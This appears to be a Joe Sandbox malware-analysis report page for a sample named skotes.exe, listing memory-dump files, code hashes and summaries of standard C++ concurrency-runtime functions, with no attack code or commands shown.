Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 41cc45d7550b8394ccc77ddd6225ddd53c675fe69780116be2d0185af49862d0
Instruction ID: d8dc884213e1ff05e1749c48ba63dd6d6b26dacf2e25f4577e46d999e2053899
Opcode Fuzzy Hash: 41cc45d7550b8394ccc77ddd6225ddd53c675fe69780116be2d0185af49862d0
Instruction Fuzzy Hash: CC01D672702521AFCA35BB61C88AF7DB76ABFC57107010125F84097612CF20ACA697E0

Function 009733C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 009733DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 009733EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00973407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0097341F

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 103918d03685ac2a1430205f3a30b8fef0ef0728bb77f241c5818064c2d21a74
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: CC01D633600514B7CF2AEE648841FAF77ADDF84750F10C455FC1AAB292DA71EE00A7A0

Function 00969510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00969519

Part of subcall function 0095F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00965486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0096953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00969550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00969559

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: ba0ca87529ab2e69d7e90f14d834eab0968bc206beef244b6389aa7b68efb364
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: CAF03071600B209FE672AB698811F6B239D9FC4715F00C41EF95B9B282CF75E946CB91

Function 0097DFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0097DFE8

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1726044199
Opcode ID: 77a6298f4d8b2af13f912995e91073704a7d23b5851384a1fe47eb5a29d69d12
Instruction ID: 56e79b4b06534a00aa328658e91a67a0aa099d82cbd2c15faede18d72e0d068f
Opcode Fuzzy Hash: 77a6298f4d8b2af13f912995e91073704a7d23b5851384a1fe47eb5a29d69d12
Instruction Fuzzy Hash: A4216D73608209AFEB30AF659C81F6BB7ADEF48368710CA54F92C97152E761ED408760

Function 00971704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00971764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009717AF

Strings

pContext, xrefs: 009717A7

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: d07bf554d1e664330ff4ae3e15f4edc0031392932bca8711ffb8e3c218a13d07
Instruction ID: 84f07ed5a19143b05f38f100c4b5387b49a958181ce4ab2a714346bd98b51fcb
Opcode Fuzzy Hash: d07bf554d1e664330ff4ae3e15f4edc0031392932bca8711ffb8e3c218a13d07
Instruction Fuzzy Hash: 3111A237A002149BCF19AF2CC48566D7769AFC4364B158065E81AA7281DB74DD05CAD1

Function 0096B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0096B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0096B961

Strings

pContext, xrefs: 0096B959

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
